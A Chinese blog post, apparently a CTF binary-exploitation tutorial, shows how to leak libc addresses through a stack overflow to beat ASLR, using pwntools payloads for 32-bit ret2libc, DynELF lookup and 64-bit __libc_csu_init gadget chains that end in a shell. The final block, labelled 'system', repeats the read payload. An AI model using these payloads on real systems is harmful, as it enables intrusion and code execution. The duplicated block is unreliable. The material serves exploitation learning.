博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
泄露地址和利用总结
阅读量:2344 次
发布时间:2019-05-10

本文共 6031 字,大约阅读时间需要 20 分钟。

已知libc.so

栈执行保护---------->调用libc.so system("/bin/sh")

关闭ASLR system在内存中的地址不会变化

如果elf中调用了print和read,那么我们就可以搜索内存直接调用。

如果开启ASLR, 我们可以根据got得到print@plt和system在libc.so中的偏移得到system
的地址。

read@plt write@plt 以及相关的got可以在调用的程序中通过elf格式搜索位置。因为程序本身的地址是不变化的。

当然 /bin/sh 字符串也可以在libc.so中的到。

所以关键就是得到libc.so的偏移。也就是突破aslr.

1.溢出点位置测试,

1) python pattern.py create 150生成字符串
2) python pattren.py offset 0x37654136
140

..........................................................................                                           低地址                                                                                                                        +                                                                                                                        +       	 esp--->	buf->........                 //局部变量,保存的寄存器                             +              <-+	                     .......                                                                                        +                 + esp--->  ebp   保存的ebp        //offset   0x37654136    140                            +                 +   	                    ret                    //                                   144                             +            [esp-144]   	                   参数1                                                                                        +    	               参数2                                                                                        +      	               参数.....                                                                                     +.......................................................................                                          高地址

ssize_t write(int fd,const void *buf,size_t nbytes)

payload1 = ‘a’*140+p32(plt_wrtie)+p32(vulfun_addr)+p32(1)+p32(got_write)

..........................................................................                              低地址                                                                                                           +                                                                                                           +       	 esp--->	buf->........                 //'a'*140                                             +              <-+	                    .......                                                                            +                 + esp--->  ebp   保存的ebp        //                                                         +   	                    ret                    //            p32(plt_wrtie)  //可调用         +             [esp-144]   	                    参数1                               p32(vulfun_addr)                 +      //ret指向新函数增加一个返回函数    	                参数2                               p32(1)                                 +      	                参数.....                             p32(got_write)                    +                         .......                                  p32(4).......................................................................                               高地址

write_addr = p32.(p.recv(4))

system_addr = write_addr - (libc.symbols[‘write’]-libc.symbols[‘system’])

payload2 = ‘a’*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

小结

这里构造栈的时候有一个注意点,因为完整的调用栈是返回地址,参数1,2,3.这样子。当我们把返回地址参数覆盖的时候。程序返回的那个时刻,esp到了原来参数1的位置。eip跳转到了ret被覆盖的位置。那么此时栈的数据中,原来参数1所在的位置将会是此时新栈的ret地址。原来参数2,3,4的位置将会变成新函数栈参数1,2,3对应的位置。

不知道libc.so

d = DynELF(leak, elf=ELF('./level2'))system_addr = d.lookup('system', 'libc').bss段是用来保存全局变量的值的,地址固定,并且可以读可写。bss_addr = 0x0804a020pppr = 0x804855dpayload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)   //read三个参数payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)p.send(payload2)p.send("/bin/sh\0")

64位溢出

x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,程序使用的内存地址不能大于0x00007fffffffffff
libc.so __libc_csu_init()

4005f0:   4c 89 fa                mov    %r15,%rdx                                      <----------------------------  4005f3:   4c 89 f6                mov    %r14,%rsi  4005f6:   44 89 ef                mov    %r13d,%edi  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)  4005fd:   48 83 c3 01             add    $0x1,%rbx  400601:   48 39 eb                cmp    %rbp,%rbx  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx                         <----------------------------  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15  400624:   48 83 c4 38             add    $0x38,%rsp  400628:   c3                      retq

write write.got

#!bash#rdi=  edi = r13,  rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4)payload1 =  "\x00"*136payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload1 += "\x00"*56payload1 += p64(main)

read /bin/sh

#!bash#rdi=  edi = r13,  rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16)payload2 =  "\x00"*136payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload2 += "\x00"*56payload2 += p64(main)

system

#!bash#rdi=  edi = r13,  rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16)payload2 =  "\x00"*136payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload2 += "\x00"*56payload2 += p64(main)

转载地址:http://tvjvb.baihongyu.com/

你可能感兴趣的文章
自学Java半年成功拿到offer,分享我的学习经验,这些坑千万别踩!
查看>>
八年Java开发的学习经历自述,希望新人少走弯路!
查看>>
不知道怎么学习Java,这些方法助你成为Offer收割机!
查看>>
作为一个Java初学者应该注意些什么呢?
查看>>
27岁转行自学Java,真的太晚了吗?
查看>>
自学Java最起码要学到什么程度才能就业?
查看>>
零基础学Java需要做哪些准备?需要注意些什么呢?
查看>>
有了这份阿里大牛手写630页Java高级面试手册,offer稳了【建议收藏】
查看>>
学习Java,需要学到什么程度,才能出去找工作?
查看>>
2021年Java发展怎么样?现在学了Java技术出来是否还能找到工作?
查看>>
Java程序员面试大厂的技术标准,你达到要求了吗?
查看>>
毕业生刚学完java,如何在面试当中介绍自己的项目经验?
查看>>
Java学到什么程度才能叫精通?
查看>>
为什么Java程序员需求量这么大,还会有人找不到合适的工作?
查看>>
过来人对程序员学习Java的10条建议,第2点很重要!
查看>>
大学生如何学好Java?过来人给你7点建议
查看>>
过来人的经验:Java实习生在公司里一般都做什么?
查看>>
10个学习Java的网站,肯定有你不知道的哦!
查看>>
Java入门基础知识点整理大放送,推荐收藏
查看>>
如何成为月入25k的高级程序员?建议养成这7个习惯
查看>>